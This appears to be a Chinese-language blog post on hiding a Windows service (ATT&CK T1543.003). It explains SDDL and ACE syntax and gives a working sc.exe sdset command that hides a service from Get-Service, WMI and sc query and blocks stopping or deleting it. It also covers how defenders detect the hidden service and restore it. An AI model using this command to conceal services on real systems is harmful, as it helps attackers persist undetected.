【T1543.003】利用 ACL 隐藏恶意 Windows 服务

看到一篇文章讲述了通过设置 DACL 隐藏 Windows 服务信息，便做一下总结。

技术原理

系统中每个 Service 在 Windows 中属于都一种对象（Object），用户在访问对象时的权限会被和对象绑定的安全描述信息（Security Descriptors）所限定，例如 修改、删除、读写等权限。

既然 Service 也是一种对象，那么也可以通过某种方式对服务的安全描述信息进行适当的修改，使某一类用户无法查看、修改该服务的信息以及停止删除服务。

安全描述信息结构与设置方式

经 MSDN 描述可知，一个安全描述信息结构体包括如下信息：

• SIDs: 该对象的拥有者以及所属组信息
• DACL: 用于允许、拒绝指定用户/组对该对象的访问权限
• SACL: 为试图访问对象的访问类型生成审计日志
• 一组控制位: 用于限定安全描述符或其单个成员的含义。

对应的结构体定义 SECURITY_DESCRIPTOR :

typedef struct _SECURITY_DESCRIPTOR {
  BYTE                        Revision;
  BYTE                        Sbz1;
  SECURITY_DESCRIPTOR_CONTROL Control;
  PSID                        Owner;
  PSID                        Group;
  PACL                        Sacl;
  PACL                        Dacl;
} SECURITY_DESCRIPTOR, *PISECURITY_DESCRIPTOR;

但是程序或用户并不能直接控制这些信息，必须通过 Windows 提供的 API 进行设置或查询。

这就导致由于对象种类的不同，设置这些安全描述信息的方式上可能各有不同：

• 有的可以直接通过 UI 界面进行设置，例如文件对象。
• 有的需要通过 Windows 内置的命令进行设置，例如服务对象。
• 有的则必须使用系统 API 完成相关工作，例如进程、线程。

对于这些安全描述信息，Windows 单独提供了一种简单的字符串表述形式，官方称其为 “安全描述符定义语言”（SDDL），下面着重总结一下 SDDL 的东西。

安全描述符定义语言（SDDL）

参考 MSDN 可知，SDDL 和 SECURITY_DESCRIPTOR 结构体之间的转换是通过两个 API 进行互转的：

• ConvertSecurityDescriptorToStringSecurityDescriptor
• ConvertStringSecurityDescriptorToSecurityDescriptor

所以，这为安全描述符的设置提供了很大的便利，下面先了解一些基本概念。

基本概念

• Securable Object: 安全对象，是拥有 SD (安全描述符)的 Windows 的对象，所有的被命名的 Windows 的对象都是安全对象，但是一些没有命名的对象是安全对象，如：进程和线程，也有安全描述符 SD。
• SID: 每个用户/组 SID, 用于标识用户/组。
• ACL: 访问控制链表，该链表其实有两个表组成：DACL 和 SACL。
• DACL: 自由访问控制链表，用于允许、拒绝指定用户/组对该对象的访问权限。
• SACL: 系统访问控制链表，为试图访问对象的访问类型生成审计日志。
• ACE: 访问控制项，是构成访问控制链表的最小单元。
• SDDL: 安全描述符定义语言，一种利用字符串表示安全描述信息的格式语言。

ACE

ACE 构成了 DACL 和 SACL，可以理解为 SD（安全描述符）的最小存储单元，他的格式如下：

ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;(resource_attribute)

为空代表不限制，常见的策略组合可能是这样的：

ace_type;;rights;;;account_sid;

ace_type

ace_type 有很多，参见 MSDN，该字段可以表示对这条规则应用的策略类型，例如：

"A"	SDDL_ACCESS_ALLOWED	ACCESS_ALLOWED_ACE_TYPE
"D"	SDDL_ACCESS_DENIED	ACCESS_DENIED_ACE_TYPE

rights

根据 MSDN 可看出，针对不同类型的对象，权限常量的名字不是很统一，Wayne Martin 在他的文章中给出了一部分 ADS、SCM、Service、value、SDDL 的映射关系：

"CC"  ADS_RIGHT_DS_CREATE_CHILD          = 0x1,    SC_MANAGER_CONNECT, SERVICE_QUERY_CONFIG
"DC"  ADS_RIGHT_DS_DELETE_CHILD          = 0x2,    SC_MANAGER_CREATE_SERVICE, SERVICE_CHANGE_CONFIG
"LC"  ADS_RIGHT_ACTRL_DS_LIST            = 0x4,    SC_MANAGER_ENUMERATE_SERVICE, SERVICE_QUERY_STATUS
"SW"  ADS_RIGHT_DS_SELF                  = 0x8,    SC_MANAGER_LOCK, SERVICE_ENUMERATE_DEPENDENTS
"RP"  ADS_RIGHT_DS_READ_PROP             = 0x10,   SC_MANAGER_QUERY_LOCK_STATUS, SERVICE_START,
"WP"  ADS_RIGHT_DS_WRITE_PROP            = 0x20,   SC_MANAGER_MODIFY_BOOT_CONFIG, SERVICE_STOP
"DT"  ADS_RIGHT_DS_DELETE_TREE           = 0x40,   SERVICE_PAUSE_CONTINUE
"LO"  ADS_RIGHT_DS_LIST_OBJECT           = 0x80,   SERVICE_INTERROGATE
"CR"  ADS_RIGHT_DS_CONTROL_ACCESS        = 0x100   SERVICE_USER_DEFINED_CONTROL
"RC"  READ_CONTROL                       = 0x20000 READ_CONTROL
"SD"  ADS_RIGHT_DELETE                   = 0x10000 DELETE

SCM 和 Servcie 的权限描述符，来自 Service Security and Access Rights - MSDN ：

SERVICE_QUERY_CONFIG (0x0001) Required to call the QueryServiceConfig and QueryServiceConfig2 functions to query the service configuration.
SERVICE_CHANGE_CONFIG (0x0002) Required to call the ChangeServiceConfig or ChangeServiceConfig2 function to change the service configuration. Because this grants the caller the right to change the executable file that the system runs, it should be granted only to administrators.
SERVICE_QUERY_STATUS (0x0004) Required to call the QueryServiceStatusEx function to ask the service control manager about the status of the service.
SERVICE_ENUMERATE_DEPENDENTS (0x0008) Required to call the EnumDependentServices function to enumerate all the services dependent on the service.
SERVICE_START (0x0010) Required to call the StartService function to start the service.
SERVICE_STOP (0x0020) Required to call the ControlService function to stop the service.
SERVICE_PAUSE_CONTINUE (0x0040) Required to call the ControlService function to pause or continue the service.
SERVICE_INTERROGATE (0x0080) Required to call the ControlService function to ask the service to report its status immediately.
SERVICE_USER_DEFINED_CONTROL(0x0100) Required to call the ControlService function to specify a user-defined control code.
SERVICE_ALL_ACCESS (0xF01FF) Includes STANDARD_RIGHTS_REQUIRED in addition to all access rights in this table.
READ_CONTROL Required to call the QueryServiceObjectSecurity function to query the security descriptor of the service object. 

SC_MANAGER_CONNECT (0x0001) Required to connect to the service control manager.
SC_MANAGER_CREATE_SERVICE (0x0002) Required to call the CreateService function to create a service object and add it to the database.
SC_MANAGER_ENUMERATE_SERVICE (0x0004) Required to call the EnumServicesStatusEx function to list the services that are in the database.
SC_MANAGER_LOCK (0x0008) Required to call the LockServiceDatabase function to acquire a lock on the database.
SC_MANAGER_QUERY_LOCK_STATUS (0x0010)
SC_MANAGER_MODIFY_BOOT_CONFIG (0x0020) Required to call the NotifyBootConfigStatus function.
SC_MANAGER_ALL_ACCESS (0xF003F) Includes STANDARD_RIGHTS_REQUIRED, in addition to all access rights in this table.

ACL 继承

暂略。

利用 SDDL 设置隐藏服务

对于正常添加的普通服务，使用 powershell 或 sc.exe 可以直接查看该服务的信息：

PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine

Status   Name               DisplayName
------   ----               -----------
Running  SWCUEngine         SWCUEngine

通过修改服务的 SD 之后，查询该服务信息将报错 ”ObjectNotFound“，以此达到隐藏的目的：

PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
[SC] SetServiceObjectSecurity SUCCESS
PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine
Get-Service : Cannot find any service with service name 'SWCUEngine'.
At line:1 char:1
+ Get-Service -Name SWCUEngine
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (SWCUEngine:String) [Get-Service], ServiceCommandException
    + FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand

看一下其中设置的 ACE，“D:”表示 DACL 表，多个 ACE 之间以分号小括号分割

“D;;DCLCWPDTSD;;;IU”：拒绝交互式用户以下权限：

• DC: SERVICE_CHANGE_CONFIG 修改服务配置
• LC: SERVICE_QUERY_STATUS 查询服务状态
• WP: SERVICE_STOP 停止服务
• DT: SERVICE_PAUSE_CONTINUE 暂停和启动服务
• SD: DELETE 删除服务

“S:”表示 SACL 表，“AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD”表示任何人对该服务的失败操作都进行审计记录。

隐藏后，无论是 services.exe、Get-Service、sc query 或任何其它关于服务的控制工具均无法检索出对应信息，效果如下：

#以下三种查询服务信息的手段均无信息
PS C:\WINDOWS\system32> Get-Service | Select-Object Name | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> Get-WmiObject Win32_Service | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe query | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32

如果蓝队知道恶意服务的名称的话，可以通过停止该服务的回显进行判断，例如：

# 停止不存在的JoshNoSuchService服务得到 InvalidOperationException 异常
PS C:\WINDOWS\system32> Set-Service -Name JoshNoSuchService -Status Stopped
Set-Service : Service JoshNoSuchService was not found on computer '.'.
At line:1 char:1
+ Set-Service -Name JoshNoSuchService -Status Stopped
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (.:String) [Set-Service], InvalidOperationException
    + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.SetServiceCommand

# 停止存在但被隐藏的SWCUEngine服务得到ServiceCommandException异常
PS C:\WINDOWS\system32> Set-Service -Name SWCUEngine -Status Stopped
Set-Service : Service 'SWCUEngine (SWCUEngine)' cannot be configured due to the following error: Access is denied
At line:1 char:1
+ Set-Service -Name SWCUEngine -Status Stopped
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (System.ServiceProcess.ServiceController:ServiceController) [Set-Service],
   ServiceCommandException
    + FullyQualifiedErrorId : CouldNotSetService,Microsoft.PowerShell.Commands.SetServiceCommand

判断存在后，取消隐藏的方式也很简单：

# 使用sc.exe修改目标服务的SDDL语法实现取消隐藏
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
[SC] SetServiceObjectSecurity SUCCESS

# 现在使用 Get-Serice 指令可以查看到对应的服务信息
PS C:\WINDOWS\system32> Get-Service -Name 'SWCUEngine'

Status   Name               DisplayName
------   ----               -----------
Running  SWCUEngine         SWCUEngine
